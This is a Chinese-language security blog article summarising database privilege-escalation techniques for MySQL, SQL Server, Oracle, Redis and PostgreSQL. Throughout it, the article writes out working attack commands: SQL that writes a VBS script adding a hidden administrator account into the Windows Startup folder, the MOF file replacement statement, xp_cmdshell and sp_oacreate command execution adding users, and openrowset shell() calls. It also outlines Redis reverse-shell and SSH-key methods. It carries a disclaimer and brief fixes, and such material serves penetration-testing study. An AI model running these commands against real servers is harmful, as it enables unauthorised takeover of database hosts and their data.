数据库提权总结

admin 2024年1月29日21:32:14评论16 views字数 6915阅读23分3秒阅读模式

据库提权条件与探针

相关文章参考:

  1. https://blog.51cto.com/11797152/2411770

  2. https://www.cnblogs.com/xishaonian/p/6384535.html

数据库提权流程:

服务探针——信息收集——提权利用——获取权限

数据库提权条件及意义

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。数据库直接提权到运行cmd了,调用命令执行如添加高权限用户(通过数据库获取主机的高权限)

WEB 或本地环境如何探针数据库应用:端口、服务、其他

数据库提权权限用户密码收集等方法:

  • 配置文件:读取网站数据库配置文件,了解其命名规则及查找技巧如:sql、data、inc、config、database、con、database、common、include 等。

  • 储存文件:读取数据库存储或备份文件,了解其数据库存储格式及对应内容:@@basedir/data/数据库名/表名.MYD

  • 暴力猜解:利用脚本暴力猜解,对方数据库支持外联可远程本地暴力猜解,如果对方数据库不支持外联,无法远程进行暴力破解,可以将暴力破解脚本传入对方服务器进行暴力破解

MYSQL提权

UDF提权:

UDF 提权知识点:基于 MYSQL 调用命令执行函数,是通过添加新函数,利用自定义执行函数导出 dll 文件进行命令执行

UDF 提权原理:UDF(Userdefined function)是用户自定义函数,利用root高权限创建cmd函数执行系统命令,反弹提权(属于UDF提权)

基本命令:

select version() #查看版本

select @@plugin_dir#查看plugin文件夹位置

select @@basedir #查看MySQL安装目录

手工创建 plugin 目录或利用 NTFS 流创建:

select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';

mysql导出或写文件的注意:

查看是否有上传文件的权限:show global variables like ‘secure%’

mysql有个配置是叫secure_file_priv,该参数来觉得mysql可以对哪个目录进行可写操作,在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件,在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件,而在mysql5.7后 secure_file_priv会默认一个目录(mysql5.7版本之后有个system可以直接执行命令)

数据库提权总结

将mysql的配置文件中添加和mysql5.5之前一样,为空,可以为任意目录写文件,打开MySQL安装路径,找到my.ini配置文件,搜索 secure,搜索不到就自己加,如下图,添加修改路径,直接将secure_file_priv值修改为空最好(原来的最好是注释掉,不要删除)

数据库提权总结

UDF提权文件(DLL文件)导出位置:

  1. mysql < 5.1:导出目录 c:/windows 或 system32,在windows server 2003下放置于c:windowssystem32目录,在windows server 2000下放置 C:winntsystem32目录。

  2. mysql =>5.1 导出安装在mysql/lib/plugin/目录。

MSF下的动态链接库

数据库提权总结

sqlmap下的动态链接库

数据库提权总结

sqlmap下的4个udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用/usr/share/sqlmap/extra/cloak下的cloak.py进行解码

数据库提权总结

在sqlmap/extra/cloak/目录下使用以下命令,如:python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so,生成的udf文件就会出现在当前文件夹中

数据库提权总结

MOF提权:

MOF 知识点:导出自定义 mof 文件到系统目录加载 (基于 MYSQL 特性的安全问题)

MOF提权原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

利用条件:

  1. 仅限windows 及适用于windows server2003及以下的版本

  2. mysql用户具有root权限(对上面那个目录可写)

将mof上传至任意可读可写目录下,然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件完成提权。替换的sql语句:select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

启动项提权:

启动项提权知识点:(基于配合操作系统自启动) 导出自定义可执行文件到启动目录配合重启执行 将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

启动项提权原理:windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本(自动化脚本可以是bat文件,vbs文件,exe文件等)写入启动项,达到提权的目的。

启动项提权步骤:我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:Users用户名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup” 是可读可写的,我们就可以执行上传一个vbs或者bat等格式的脚本进行提权。

  1. 连接到对方MYSQL 服务器

  2. 进入test数据库,这个数据库一般情况下没有表:

create table a(cmd text); #创建a表,表中只存放一个字段cmd,为text文本insert into a values("set wshshell=createobject(""wscript.shell"")");insert into a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)");  #添加用户密码,注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)"); #加入administrators组select * from a;查询有没有写入select * from a into outfile "C:\Users\zth\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a.vbs" #把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“”符号

MSsql(SQL SERVER)提权

xp_cmdshell 提权:

注:xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
exec sp_configure 'show advanced options', 1; 
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行:exec master.dbo.xp_cmdshell '命令' 如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll'

sp_oacreate 提权:

sp_oacreate提权原理:使用 sp_oacreate 进行提权,主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;执行这条语句前要执行EXEC sp_configure 'show advanced options', 1; 官方对这句话的解释是:show advanced options,“显示高级选项”选项用来显示 sp_configure 系统存储过程高级选项。当“显示高级选项” 设置为 1 时,可以使用 sp_configure 列出高级选项。默认值为 0。

EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE WITH OVERRIDE; declare @shell int exec sp_oacreate 'wscript.shell',@shell output  --使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。exec sp_oamethod @shell,'run',null,'命令'   --使用sp_oamethod 调用@shell对象中的Run方法来执行命令,null是run方法的返回值,我们不需要用返回值,所以写null.#命令1:c:windowssystem32cmd.exe /c whoami >c:\1.txt#命令2:c:windowssystem32cmd.exe /c net user margin margin /add

SQL Server 沙盒提权:

沙盒模式 SandBoxMode 参数含义(默认是 2  )

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

exec sp_configure 'show advanced options',1;reconfigure;-- 不开启的话在执行 xp_regwrite 会提示让我们开启。exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode' select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') -- 执 行 系 统 命 令

ORACLE数据库提权

Oracle数据库提权:由于Oracle常与jsp脚本组合,因为它的网站权限就是系统权限,jsp自带system。对于JSP网站,当前获取到它的网站权限后,不需要提权。用自动化工具oracleshell (by rebeyond),当你拥有一个注入点时,你会发现,这个注入点本身就拥有system权限。

  1. 普通用户模式:前提是拥有一个普通的Oracle连接账号。不需要DBA权限,可提权至DBA,并以Oracle实例运行的权限执行操作系统命令。

  2. DBA用户模式:(自动化工具演示)拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

自动化工具演示(oracleshell

  • 首先读取配置文件,获取到一个Oracle账号密码。

数据库提权总结

  • 工具连接。若账号是普通账号,选择普通模式,若账号是DBA账号,选择DBA模式。然后输入数据库相关信息,点击

连接。提示payload发送成功。

数据库提权总结

数据库提权总结

  • 提权成功,接下来可以任意执行命令了。

数据库提权总结

若没有账号密码,但是有注入点,还可以用这个工具的注入模式,进行注入提权。

数据库提权总结

自动化工具演示(sqlmap)

拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

命令:sqlmap.py -u http://192.168.131.142:8080/sql.jsp?id-7698 --is-dba

数据库提权总结

Redis 数据库提权

Redis 数据库提权知识点:Redis 数据库可能会因为Redis 服务配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。连接(未授权或有密码)-利用如下方法提权

参考:https://blog.csdn.net/fly_hps/article/details/80937837

  1. 利用计划任务执行命令反弹 shell

  2. 写 ssh-keygen 公钥然后使用私钥登陆

  3. 权限较低往 web 物理路径写 webshell

Redis 数据库修复方案:

注意:以下操作,均需重启 Redis 后才能生效。绑定需要访问数据库的 IP。将 127.0.0.1 修改为需要访问此数据库的 IP 地址。设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,禁用账号的登录权限。

PostgreSQL 数据库提权

PostgreSQL提权知识点:PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。提权利用的是漏洞:CVE-2019-9193CVE-2018-1058

修复方案:升级版本或打上补丁。

参考:https://vulhub.org/#/environments/postgres/

数据库提权总结

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):数据库提权总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月29日21:32:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   数据库提权总结https://cn-sec.com/archives/2439370.html

发表评论

匿名网友 填写信息